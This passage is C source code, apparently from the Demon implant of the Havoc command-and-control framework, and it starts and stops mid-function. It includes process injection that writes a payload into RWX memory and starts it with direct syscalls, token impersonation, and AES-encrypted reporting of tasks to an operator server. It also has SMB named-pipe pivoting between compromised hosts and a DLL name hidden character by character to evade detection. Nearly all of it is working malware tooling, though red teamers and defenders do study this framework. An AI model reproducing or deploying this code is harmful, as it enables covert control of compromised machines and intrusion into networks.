length = 0; va_start( args, fmt ); length = Instance->Win32.vsnprintf( NULL, 0, fmt, args ); va_end( args ); if ( format->length + length > format->size ) { return; } va_start( args, fmt ); Instance->Win32.vsnprintf( format->buffer, length, fmt, args ); va_end( args ); format->length += length; format->buffer += length; } char* BeaconFormatToString( PFORMAT format, int* size) { *size = format->length; return format->original; } VOID BeaconFormatInt( PFORMAT format, int value) { uint32_t indata = value; uint32_t outdata = 0; if (format->length + 4 > format->size) { return; } outdata = swap_endianess(indata); MemCopy(format->buffer, &outdata, 4); format->length += 4; format->buffer += 4; return; } BOOL BeaconUseToken( HANDLE token ) { HANDLE hImpersonateToken = INVALID_HANDLE_VALUE; if ( ! SysNtDuplicateToken( token, 0, NULL, FALSE, TokenPrimary, &hImpersonateToken ) ) { return FALSE; } if ( ! Instance->Win32.SetThreadToken( NULL, hImpersonateToken ) ) { return FALSE; } return TRUE; } VOID BeaconGetSpawnTo( BOOL x86, char* buffer, int length ) { PWCHAR Path = NULL; SIZE_T Size = 0; if ( ! buffer ) return; if ( x86 ) { Path = Instance->Config.Process.Spawn86; } else { Path = Instance->Config.Process.Spawn64; } Size = StringLengthW( Path ) * sizeof( WCHAR ); if ( Size > length ) { return; } MemCopy( buffer, Path, Size ); } BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo ) { BOOL bSuccess = FALSE; HANDLE hToken = INVALID_HANDLE_VALUE; PWCHAR Path = NULL; if (x86) { Path = Instance->Config.Process.Spawn86; } else { Path = Instance->Config.Process.Spawn64; } if (ignoreToken) { bSuccess = Instance->Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); } else { bSuccess = Instance->Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo); } return bSuccess; } VOID BeaconInjectProcess( HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len ) { PVOID a_RemoteBuf = NULL; PVOID p_RemoteBuf = NULL; SIZE_T Size = 0; NTSTATUS Status = STATUS_SUCCESS; CLIENT_ID ClientID = { 0 } ; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL, NULL ); if ( ! hProc ) { hProc = ProcessOpen( pid, PROCESS_ALL_ACCESS ); if ( ! hProc ) { return; } } // allocate memory space for payload Size = p_len * sizeof( CHAR ); Status = SysNtAllocateVirtualMemory(hProc, &p_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if ( ! NT_SUCCESS( Status ) ) return; Status = SysNtWriteVirtualMemory(hProc, p_RemoteBuf, (PVOID)payload, Size, 0); if ( ! NT_SUCCESS( Status ) ) return; // allocate memory space for argument Size = a_len * sizeof( CHAR ); Status = SysNtAllocateVirtualMemory(hProc, &a_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if ( ! NT_SUCCESS( Status ) ) return; Status = SysNtWriteVirtualMemory(hProc, a_RemoteBuf, (PVOID)arg, Size, 0); if ( ! NT_SUCCESS( Status ) ) return; Status = SysNtCreateThreadEx(NULL, GENERIC_EXECUTE, NULL, hProc, (LPTHREAD_START_ROUTINE)(p_RemoteBuf + p_offset), a_RemoteBuf, FALSE, 0, 0, 0, NULL); if ( ! NT_SUCCESS( Status ) ) return; } VOID BeaconInjectTemporaryProcess( PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len ) { PVOID p_RemoteBuf; PVOID a_RemoteBuf; SIZE_T Size; NTSTATUS Status; // allocate memory space for payload Size = p_len * sizeof(char); Status = SysNtAllocateVirtualMemory(pInfo->hProcess, &p_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if (Status != STATUS_SUCCESS) { return; } Status = SysNtWriteVirtualMemory(pInfo->hProcess, p_RemoteBuf, (PVOID)payload, Size, 0); if (Status != STATUS_SUCCESS) { return; } // allocate memory space for argument Size = a_len * sizeof(char); Status = SysNtAllocateVirtualMemory(pInfo->hProcess, &a_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if (Status != STATUS_SUCCESS) { return; } Status = SysNtWriteVirtualMemory(pInfo->hProcess, a_RemoteBuf, (PVOID)arg, Size, 0); if (Status != STATUS_SUCCESS) { return; } SysNtCreateThreadEx(NULL, GENERIC_EXECUTE, NULL, pInfo->hProcess, (LPTHREAD_START_ROUTINE)(p_RemoteBuf + p_offset), a_RemoteBuf, FALSE, 0, 0, 0, NULL); } VOID BeaconCleanupProcess( PROCESS_INFORMATION* pInfo ) { NTSTATUS status; status = SysNtClose(pInfo->hProcess); if (status != STATUS_SUCCESS) return; status = SysNtClose(pInfo->hThread); if (status != STATUS_SUCCESS) return; } // not implemented VOID BeaconInformation(BEACON_INFO * info) { PUTS( "BeaconInformation is not implemented" ); return; } BOOL BeaconAddValue(const char * key, void * ptr) { PCOFFEE_KEY_VALUE KeyValue = NULL; SIZE_T KeyLength = 0; if ( ! key ) { PUTS( "No key was provided" ); return FALSE; } KeyLength = StringLengthA( key ); if ( KeyLength == 0 ) { PUTS( "The key is too short" ); return FALSE; } if ( KeyLength >= COFFEE_KEY_VALUE_MAX_KEY ) { PRINTF( "The key %s is too long\n", key ); return FALSE; } // make sure the key doesn't already exist KeyValue = Instance->CoffeKeyValueStore; while ( KeyValue ) { if ( StringCompareA( KeyValue->Key, key ) == 0 ) { PRINTF( "The key %s already exists\n", key ); return FALSE; } KeyValue = KeyValue->Next; } KeyValue = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) ); KeyValue->Value = ptr; StringCopyA( KeyValue->Key, key ); // store the new item at the start of the list KeyValue->Next = Instance->CoffeKeyValueStore; Instance->CoffeKeyValueStore = KeyValue; return TRUE; } PVOID BeaconGetValue(const char * key) { PCOFFEE_KEY_VALUE KeyValue = NULL; if ( ! key ) { PUTS( "No key was provided" ); return NULL; } KeyValue = Instance->CoffeKeyValueStore; while ( KeyValue ) { if ( StringCompareA( KeyValue->Key, key ) == 0 ) { return KeyValue->Value; } KeyValue = KeyValue->Next; } return NULL; } BOOL BeaconRemoveValue(const char * key) { PCOFFEE_KEY_VALUE Current = NULL; PCOFFEE_KEY_VALUE Prev = NULL; if ( ! key ) { PUTS( "No key was provided" ); return FALSE; } Current = Instance->CoffeKeyValueStore; while ( Current ) { if ( StringCompareA( Current->Key, key ) == 0 ) { if ( Prev ) { Prev->Next = Current->Next; } else { Instance->CoffeKeyValueStore = Current->Next; } DATA_FREE( Current, sizeof( COFFEE_KEY_VALUE ) ); return TRUE; } Prev = Current; Current = Current->Next; } return FALSE; } // not implemented PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index) { PUTS( "BeaconDataStoreGetItem is not implemented" ); return NULL; } // not implemented VOID BeaconDataStoreProtectItem(SIZE_T index) { PUTS( "BeaconDataStoreProtectItem is not implemented" ); return; } // not implemented VOID BeaconDataStoreUnprotectItem(SIZE_T index) { PUTS( "BeaconDataStoreUnprotectItem is not implemented" ); return; } // not implemented SIZE_T BeaconDataStoreMaxEntries() { PUTS( "BeaconDataStoreMaxEntries is not implemented" ); return 0; } // not implemented PCHAR BeaconGetCustomUserData() { PUTS( "BeaconGetCustomUserData is not implemented" ); return NULL; } BOOL toWideChar( char* src, wchar_t* dst, int max ) { SIZE_T Length = 0; Length = CharStringToWCharString(dst, src, max); if (Length == 0) { return FALSE; } return TRUE; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Package.c000066400000000000000000000307441467014221700233730ustar00rootroot00000000000000/* Import Core Headers */ #include #include #include #include #include /* Import Crypto Header (enable CTR Mode) */ #define CTR 1 #define AES256 1 #include VOID Int64ToBuffer( PUCHAR Buffer, UINT64 Value ) { Buffer[ 7 ] = Value & 0xFF; Value >>= 8; Buffer[ 6 ] = Value & 0xFF; Value >>= 8; Buffer[ 5 ] = Value & 0xFF; Value >>= 8; Buffer[ 4 ] = Value & 0xFF; Value >>= 8; Buffer[ 3 ] = Value & 0xFF; Value >>= 8; Buffer[ 2 ] = Value & 0xFF; Value >>= 8; Buffer[ 1 ] = Value & 0xFF; Value >>= 8; Buffer[ 0 ] = Value & 0xFF; } VOID Int32ToBuffer( OUT PUCHAR Buffer, IN UINT32 Size ) { ( Buffer ) [ 0 ] = ( Size >> 24 ) & 0xFF; ( Buffer ) [ 1 ] = ( Size >> 16 ) & 0xFF; ( Buffer ) [ 2 ] = ( Size >> 8 ) & 0xFF; ( Buffer ) [ 3 ] = ( Size ) & 0xFF; } VOID PackageAddInt32( _Inout_ PPACKAGE Package, IN UINT32 Data ) { if ( ! Package ) { return; } Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT32 ), LMEM_MOVEABLE ); Int32ToBuffer( Package->Buffer + Package->Length, Data ); Package->Length += sizeof( UINT32 ); } VOID PackageAddInt64( PPACKAGE Package, UINT64 dataInt ) { if ( ! Package ) { return; } Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT64 ), LMEM_MOVEABLE ); Int64ToBuffer( Package->Buffer + Package->Length, dataInt ); Package->Length += sizeof( UINT64 ); } VOID PackageAddBool( _Inout_ PPACKAGE Package, IN BOOLEAN Data ) { if ( ! Package ) { return; } Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + sizeof( UINT32 ), LMEM_MOVEABLE ); Int32ToBuffer( Package->Buffer + Package->Length, Data ? 1 : 0 ); Package->Length += sizeof( UINT32 ); } VOID PackageAddPtr( PPACKAGE Package, PVOID pointer ) { PackageAddInt64( Package, ( UINT64 ) pointer ); } VOID PackageAddPad( PPACKAGE Package, PCHAR Data, SIZE_T Size ) { if ( ! Package ) return; Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + Size, LMEM_MOVEABLE | LMEM_ZEROINIT ); MemCopy( Package->Buffer + ( Package->Length ), Data, Size ); Package->Length += Size; } VOID PackageAddBytes( PPACKAGE Package, PBYTE Data, SIZE_T Size ) { if ( ! Package ) { return; } PackageAddInt32( Package, Size ); if ( Size ) { Package->Buffer = Instance->Win32.LocalReAlloc( Package->Buffer, Package->Length + Size, LMEM_MOVEABLE | LMEM_ZEROINIT ); MemCopy( Package->Buffer + Package->Length, Data, Size ); Package->Length += Size; } } VOID PackageAddString( PPACKAGE package, PCHAR data ) { PackageAddBytes( package, (PBYTE) data, StringLengthA( data ) ); } VOID PackageAddWString( PPACKAGE package, PWCHAR data ) { PackageAddBytes( package, (PBYTE) data, StringLengthW( data ) * 2 ); } PPACKAGE PackageCreate( UINT32 CommandID ) { PPACKAGE Package = NULL; Package = Instance->Win32.LocalAlloc( LPTR, sizeof( PACKAGE ) ); Package->Buffer = Instance->Win32.LocalAlloc( LPTR, sizeof( BYTE ) ); Package->Length = 0; Package->RequestID = Instance->CurrentRequestID; Package->CommandID = CommandID; Package->Encrypt = TRUE; Package->Destroy = TRUE; Package->Included = FALSE; Package->Next = NULL; return Package; } PPACKAGE PackageCreateWithMetaData( UINT32 CommandID ) { PPACKAGE Package = PackageCreate( CommandID ); PackageAddInt32( Package, 0 ); // package length PackageAddInt32( Package, DEMON_MAGIC_VALUE ); PackageAddInt32( Package, Instance->Session.AgentID ); PackageAddInt32( Package, Package->CommandID ); PackageAddInt32( Package, Package->RequestID ); return Package; } PPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID ) { PPACKAGE Package = PackageCreate( CommandID ); Package->RequestID = RequestID; return Package; } VOID PackageDestroy( IN PPACKAGE Package ) { PPACKAGE Pkg = Instance->Packages; if ( Package ) { // make sure the package is not on the Instance->Packages list, avoid UAF while ( Pkg ) { if ( Package == Pkg ) { PUTS_DONT_SEND( "Package can't be destroyed, is on Instance->Packages list" ) return; } Pkg = Pkg->Next; } if ( Package->Buffer ) { MemSet( Package->Buffer, 0, Package->Length ); Instance->Win32.LocalFree( Package->Buffer ); Package->Buffer = NULL; } MemSet( Package, 0, sizeof( PACKAGE ) ); Instance->Win32.LocalFree( Package ); Package = NULL; } } // used to send the demon's metadata BOOL PackageTransmitNow( _Inout_ PPACKAGE Package, OUT PVOID* Response, OUT PSIZE_T Size ) { AESCTX AesCtx = { 0 }; BOOL Success = FALSE; UINT32 Padding = 0; if ( Package ) { if ( ! Package->Buffer ) { PUTS_DONT_SEND( "Package->Buffer is empty" ) return FALSE; } // writes package length to buffer Int32ToBuffer( Package->Buffer, Package->Length - sizeof( UINT32 ) ); if ( Package->Encrypt ) { Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ); /* only add these on init or key exchange */ if ( Package->CommandID == DEMON_INITIALIZE ) { Padding += 32 + 16; } AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); } if ( TransportSend( Package->Buffer, Package->Length, Response, Size ) ) { Success = TRUE; } else { PUTS_DONT_SEND("TransportSend failed!") } if ( Package->Destroy ) { PackageDestroy( Package ); Package = NULL; } else if ( Package->Encrypt ) { AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); } } else { PUTS_DONT_SEND( "Package is empty" ) Success = FALSE; } return Success; } // don't transmit right away, simply store the package. Will be sent when PackageTransmitAll is called VOID PackageTransmit( IN PPACKAGE Package ) { PPACKAGE List = NULL; UINT32 RequestID = 0; UINT32 Length = 0; if ( ! Package ) { return; } #if TRANSPORT_SMB // if the package is larger than PIPE_BUFFER_MAX, discard it // TODO: support packet fragmentation // size + demon-magic + agent-id + command-id + request-id + // command-id + request-id + buffer-size + Package->Length if ( sizeof( UINT32 ) * 8 + Package->Length > PIPE_BUFFER_MAX ) { PRINTF( "Trying to send a package that is 0x%x bytes long, which is longer than PIPE_BUFFER_MAX, discarding...\n", Package->Length ) RequestID = Package->RequestID; Length = Package->Length; // destroy the package if ( Package->Destroy ) { PackageDestroy( Package ); } // notify the operator that a package was discarded Package = PackageCreateWithRequestID( DEMON_PACKAGE_DROPPED, RequestID ); PackageAddInt32( Package, Length ); PackageAddInt32( Package, PIPE_BUFFER_MAX ); } #endif if ( ! Instance->Packages ) { Instance->Packages = Package; } else { // add the new package to the end of the list (to preserve the order) List = Instance->Packages; while ( List->Next ) { List = List->Next; } List->Next = Package; } } // transmit all stored packages in a single request BOOL PackageTransmitAll( OUT PVOID* Response, OUT PSIZE_T Size ) { AESCTX AesCtx = { 0 }; BOOL Success = FALSE; UINT32 Padding = 0; PPACKAGE Package = NULL; PPACKAGE Pkg = Instance->Packages; PPACKAGE Entry = NULL; PPACKAGE Prev = NULL; #if TRANSPORT_SMB // SMB pivots don't need to send DEMON_COMMAND_GET_JOB // so if we don't having nothing to send, simply exit if ( ! Instance->Packages ) return TRUE; #endif Package = PackageCreateWithMetaData( DEMON_COMMAND_GET_JOB ); // add all the packages we want to send to the main package while ( Pkg ) { #if TRANSPORT_SMB // SMB pivots can't send packages greater than PIPE_BUFFER_MAX if ( Package->Length + sizeof( UINT32 ) * 3 + Pkg->Length > PIPE_BUFFER_MAX ) break; #endif PackageAddInt32( Package, Pkg->CommandID ); PackageAddInt32( Package, Pkg->RequestID ); PackageAddBytes( Package, Pkg->Buffer, Pkg->Length ); Pkg->Included = TRUE; // make sure we don't send a package larger than DEMON_MAX_REQUEST_LENGTH if ( Package->Length > DEMON_MAX_REQUEST_LENGTH ) break; Prev = Pkg; Pkg = Pkg->Next; } // writes package length to buffer Int32ToBuffer( Package->Buffer, Package->Length - sizeof( UINT32 ) ); /* * Header: * [ SIZE ] 4 bytes * [ Magic Value ] 4 bytes * [ Agent ID ] 4 bytes * [ COMMAND ID ] 4 bytes * [ Request ID ] 4 bytes */ Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ); // encrypt the package AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); // send it if ( TransportSend( Package->Buffer, Package->Length, Response, Size ) ) { Success = TRUE; } else { PUTS_DONT_SEND("TransportSend failed!") } // decrypt the package AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding ); Entry = Instance->Packages; Prev = NULL; if ( Success ) { // the request worked, remove all the packages that were included while ( Entry ) { if ( Entry->Included ) { // is this the first entry? if ( Entry == Instance->Packages ) { // update the start of the list Instance->Packages = Entry->Next; // remove the entry if required if ( Entry->Destroy ) { PackageDestroy( Entry ); Entry = NULL; } Entry = Instance->Packages; Prev = NULL; } else { if ( Prev ) { // remove the entry from the list Prev->Next = Entry->Next; // remove the entry if required if ( Entry->Destroy ) { PackageDestroy( Entry ); Entry = NULL; } Entry = Prev->Next; } else { // wut? this shouldn't happen PUTS_DONT_SEND( "Failed to cleanup packages list" ) } } } else { Prev = Entry; Entry = Entry->Next; } } } else { // the request failed, mark all packages as not included for next time while ( Entry ) { Entry->Included = FALSE; Entry = Entry->Next; } } PackageDestroy( Package ); Package = NULL; return Success; } VOID PackageTransmitError( IN UINT32 ID, IN UINT32 ErrorCode ) { PPACKAGE Package = NULL; PRINTF_DONT_SEND( "Transmit Error: %d\n", ErrorCode ); Package = PackageCreate( DEMON_ERROR ); PackageAddInt32( Package, ID ); PackageAddInt32( Package, ErrorCode ); PackageTransmit( Package ); } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Parser.c000066400000000000000000000064111467014221700232660ustar00rootroot00000000000000#include #include #include #include VOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size ) { if ( parser == NULL ) return; parser->Original = Instance->Win32.LocalAlloc( LPTR, size ); MemCopy( parser->Original, Buffer, size ); parser->Buffer = parser->Original; parser->Length = size; parser->Size = size; } VOID ParserDecrypt( PPARSER parser, PBYTE Key, PBYTE IV ) { AESCTX AesCtx = { 0 }; if ( parser == NULL ) return; AesInit( &AesCtx, Key, IV ); AesXCryptBuffer( &AesCtx, (PUINT8)parser->Buffer, parser->Length ); } INT16 ParserGetInt16( PPARSER parser ) { INT16 intBytes = 0; if ( parser->Length < 2 ) return 0; MemCopy( &intBytes, parser->Buffer, 2 ); parser->Buffer += 2; parser->Length -= 2; return intBytes; } BYTE ParserGetByte( PPARSER parser ) { BYTE intBytes = 0; if ( parser->Length < 1 ) return 0; MemCopy( &intBytes, parser->Buffer, 1 ); parser->Buffer += 1; parser->Length -= 1; return intBytes; } INT ParserGetInt32( PPARSER parser ) { INT32 intBytes = 0; if ( ! parser ) return 0; if ( parser->Length < 4 ) return 0; MemCopy( &intBytes, parser->Buffer, 4 ); parser->Buffer += 4; parser->Length -= 4; if ( ! parser->Endian ) return ( INT ) intBytes; else return ( INT ) __builtin_bswap32( intBytes ); } INT64 ParserGetInt64( PPARSER parser ) { INT64 intBytes = 0; if ( ! parser ) return 0; if ( parser->Length < 8 ) return 0; MemCopy( &intBytes, parser->Buffer, 8 ); parser->Buffer += 8; parser->Length -= 8; if ( ! parser->Endian ) return ( INT64 ) intBytes; else return ( INT64 ) __builtin_bswap64( intBytes ); } BOOL ParserGetBool( PPARSER parser ) { INT32 intBytes = 0; if ( ! parser ) return 0; if ( parser->Length < 4 ) return 0; MemCopy( &intBytes, parser->Buffer, 4 ); parser->Buffer += 4; parser->Length -= 4; if ( ! parser->Endian ) return intBytes != 0; else return __builtin_bswap32( intBytes ) != 0; } PBYTE ParserGetBytes( PPARSER parser, PUINT32 size ) { UINT32 Length = 0; PBYTE outdata = NULL; if ( ! parser ) return NULL; if ( parser->Length < 4 ) return NULL; MemCopy( &Length, parser->Buffer, 4 ); parser->Buffer += 4; if ( parser->Endian ) Length = __builtin_bswap32( Length ); outdata = ( PBYTE ) parser->Buffer; if ( outdata == NULL ) return NULL; parser->Length -= 4; parser->Length -= Length; parser->Buffer += Length; if ( size != NULL ) *size = Length; return outdata; } PCHAR ParserGetString( PPARSER parser, PUINT32 size ) { return ( PCHAR ) ParserGetBytes( parser, size ); } PWCHAR ParserGetWString( PPARSER parser, PUINT32 size ) { return ( PWCHAR ) ParserGetBytes( parser, size ); } VOID ParserDestroy( PPARSER Parser ) { if ( Parser->Original ) { MemSet( Parser->Original, 0, Parser->Size ); Instance->Win32.LocalFree( Parser->Original ); Parser->Original = NULL; Parser->Buffer = NULL; } } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Pivot.c000066400000000000000000000237231467014221700231400ustar00rootroot00000000000000#include #include #include #include #include #include /* TODO: Change the way new pivots gets added. * * Instead of appending it to the newest token like: * PivotNew->Next = Pivot * * Add it to the first token (parent): * * Pivot->Next = Instance->SmbPivots; * Instance->SmbPivots = Pivot; * * Might reduce some code which i care more than * pivot order. */ BOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize ) { PPIVOT_DATA Data = NULL; HANDLE Handle = NULL; PRINTF( "Connecting to named pipe: %ls\n", NamedPipe.Buffer ); Handle = Instance->Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if ( Handle == INVALID_HANDLE_VALUE ) { PRINTF( "CreateFileW: Failed[%d]\n", NtGetLastError() ); return FALSE; } if ( NtGetLastError() == ERROR_PIPE_BUSY ) { if ( ! Instance->Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) ) { return FALSE; } } do { // TODO: first get the size then parse if ( Instance->Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) ) { if ( *BytesSize > 0 ) { PRINTF( "BytesSize => %d\n", *BytesSize ); *Output = Instance->Win32.LocalAlloc( LPTR, *BytesSize ); MemSet( *Output, 0, *BytesSize ); if ( Instance->Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) ) { PRINTF( "BytesSize Read => %d\n", *BytesSize ); break; } else { PRINTF( "ReadFile: Failed[%d]\n", NtGetLastError() ); SysNtClose( Handle ); return FALSE; } } } else { PRINTF( "PeekNamedPipe: Failed[%d]\n", NtGetLastError() ); SysNtClose( Handle ); return FALSE; } } while ( TRUE ); // Adding data to the list { PRINTF( "Pivot :: Output[%p] Size[%d]\n", *Output, *BytesSize ) Data = Instance->Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) ); Data->Handle = Handle; Data->Next = NULL; Data->DemonID = PivotParseDemonID( *Output, *BytesSize ); Data->PipeName.Buffer = Instance->Win32.LocalAlloc( LPTR, NamedPipe.Length ); Data->PipeName.Length = NamedPipe.Length; MemCopy( Data->PipeName.Buffer, NamedPipe.Buffer, NamedPipe.Length ); if ( ! Instance->SmbPivots ) { Instance->SmbPivots = Data; } else { PPIVOT_DATA PivotList = Instance->SmbPivots; do { if ( PivotList ) { if ( PivotList->Next ) PivotList = PivotList->Next; else { PivotList->Next = Data; break; } } else break; } while ( TRUE ); } } return TRUE; } PPIVOT_DATA PivotGet( DWORD AgentID ) { PPIVOT_DATA TempList = Instance->SmbPivots; do { if ( TempList ) { if ( TempList->DemonID == AgentID ) return TempList; TempList = TempList->Next; } else break; } while ( TRUE ); return NULL; } BOOL PivotRemove( DWORD AgentId ) { PRINTF( "Remove pivot %x\n", AgentId ) PPIVOT_DATA TempList = Instance->SmbPivots; PPIVOT_DATA PivotData = PivotGet( AgentId ); BOOL Success = FALSE; if ( ( ! TempList ) || ( ! PivotData ) ) return FALSE; if ( Instance->SmbPivots->DemonID == AgentId ) { PPIVOT_DATA TempNext = Instance->SmbPivots->Next; if ( Instance->SmbPivots->PipeName.Buffer ) { MemSet( Instance->SmbPivots->PipeName.Buffer, 0, Instance->SmbPivots->PipeName.Length ); Instance->Win32.LocalFree( Instance->SmbPivots->PipeName.Buffer ); } if ( Instance->SmbPivots->Handle ) { Instance->Win32.DisconnectNamedPipe( Instance->SmbPivots->Handle ); SysNtClose( Instance->SmbPivots->Handle ); } Instance->SmbPivots->PipeName.Buffer = NULL; Instance->SmbPivots->PipeName.Length = 0; Instance->SmbPivots->Handle = NULL; Instance->SmbPivots->DemonID = 0; MemSet( Instance->SmbPivots, 0, sizeof( PIVOT_DATA ) ); Instance->Win32.LocalFree( Instance->SmbPivots ); Instance->SmbPivots = TempNext; return TRUE; } do { if ( TempList ) { if ( TempList->Next == PivotData ) { TempList->Next = PivotData->Next; if ( PivotData->PipeName.Buffer ) { MemSet( PivotData->PipeName.Buffer, 0, PivotData->PipeName.Length ); Instance->Win32.LocalFree( PivotData->PipeName.Buffer ); } if ( PivotData->Handle ) { Instance->Win32.DisconnectNamedPipe( PivotData->Handle ); SysNtClose( PivotData->Handle ); } PivotData->PipeName.Buffer = NULL; PivotData->PipeName.Length = 0; PivotData->Handle = NULL; PivotData->DemonID = 0; MemSet( PivotData, 0, sizeof( PIVOT_DATA ) ); Instance->Win32.LocalFree( PivotData ); PivotData = NULL; return TRUE; } else TempList = TempList->Next; } else break; } while ( TRUE ); return Success; } DWORD PivotCount() { PPIVOT_DATA TempList = Instance->SmbPivots; DWORD Counter = 0; do { if ( TempList ) { Counter++; TempList = TempList->Next; } else break; } while ( TRUE ); return Counter; } VOID PivotPush() { PPACKAGE Package = NULL; PPIVOT_DATA TempList = Instance->SmbPivots; DWORD BytesSize = 0; DWORD Length = 0; PVOID Output = NULL; ULONG32 NumLoops = 0; /* * For each pivot, we loop up to MAX_SMB_PACKETS_PER_LOOP times * this is to avoid potentially blocking the parent agent */ do { if ( ! TempList ) break; if ( TempList->Handle ) { NumLoops = 0; do { if ( Instance->Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) ) { if ( BytesSize >= sizeof( UINT32 ) ) { if ( Instance->Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) ) { Length = __builtin_bswap32( Length ) + sizeof( UINT32 ); Output = Instance->Win32.LocalAlloc( LPTR, Length ); if ( Instance->Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) ) { Package = PackageCreate( DEMON_COMMAND_PIVOT ); PackageAddInt32( Package, DEMON_PIVOT_SMB_COMMAND ); PackageAddBytes( Package, Output, BytesSize ); PackageTransmit( Package ); DATA_FREE( Output, Length ); } else { PRINTF( "ReadFile: Failed[%d]\n", NtGetLastError() ); DATA_FREE( Output, Length ); break; } } else { PRINTF( "PeekNamedPipe: Failed[%d]\n", NtGetLastError() ); break; } } else break; } else { PRINTF( "PeekNamedPipe: Failed[%d]\n", NtGetLastError() ); if ( NtGetLastError() == ERROR_BROKEN_PIPE ) { PUTS( "ERROR_BROKEN_PIPE. Remove pivot" ) DWORD DemonID = TempList->DemonID; TempList = TempList->Next; BOOL Removed = PivotRemove( DemonID ); PRINTF( "Pivot removed: %s\n", Removed ? "TRUE" : "FALSE" ) /* Report if we managed to remove the selected pivot */ Package = PackageCreate( DEMON_COMMAND_PIVOT ); PackageAddInt32( Package, DEMON_PIVOT_SMB_DISCONNECT ); PackageAddInt32( Package, Removed ); PackageAddInt32( Package, DemonID ); PackageTransmit( Package ); break; } PACKAGE_ERROR_WIN32 break; } NumLoops++; } while ( NumLoops < MAX_SMB_PACKETS_PER_LOOP ); } // select the next pivot if ( TempList ) TempList = TempList->Next; } while ( TRUE ); } UINT32 PivotParseDemonID( PVOID Response, SIZE_T Size ) { PARSER Parser = { 0 }; UINT32 Value = 0; ParserNew( &Parser, Response, Size ); ParserGetInt32( &Parser ); ParserGetInt32( &Parser ); Value = __builtin_bswap32( ParserGetInt32( &Parser ) ); PRINTF( "Parsed DemonID => %x\n", Value ); ParserDestroy( &Parser ); return Value; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Runtime.c000066400000000000000000000540701467014221700234610ustar00rootroot00000000000000#include #include #include BOOL RtAdvapi32( VOID ) { CHAR ModuleName[ 13 ] = { 0 }; ModuleName[ 0 ] = HideChar('A'); ModuleName[ 2 ] = HideChar('V'); ModuleName[ 11 ] = HideChar('L'); ModuleName[ 10 ] = HideChar('L'); ModuleName[ 3 ] = HideChar('A'); ModuleName[ 8 ] = HideChar('.'); ModuleName[ 12 ] = HideChar('\0'); ModuleName[ 6 ] = HideChar('3'); ModuleName[ 7 ] = HideChar('2'); ModuleName[ 1 ] = HideChar('D'); ModuleName[ 9 ] = HideChar('D'); ModuleName[ 5 ] = HideChar('I'); ModuleName[ 4 ] = HideChar('P'); if ( ( Instance->Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); Instance->Win32.GetTokenInformation = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETTOKENINFORMATION ); Instance->Win32.CreateProcessWithTokenW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW ); Instance->Win32.CreateProcessWithLogonW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW ); Instance->Win32.RevertToSelf = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_REVERTTOSELF ); Instance->Win32.GetUserNameA = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETUSERNAMEA ); Instance->Win32.LogonUserW = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOGONUSERW ); Instance->Win32.LookupPrivilegeValueA = LdrFunctionAddr( 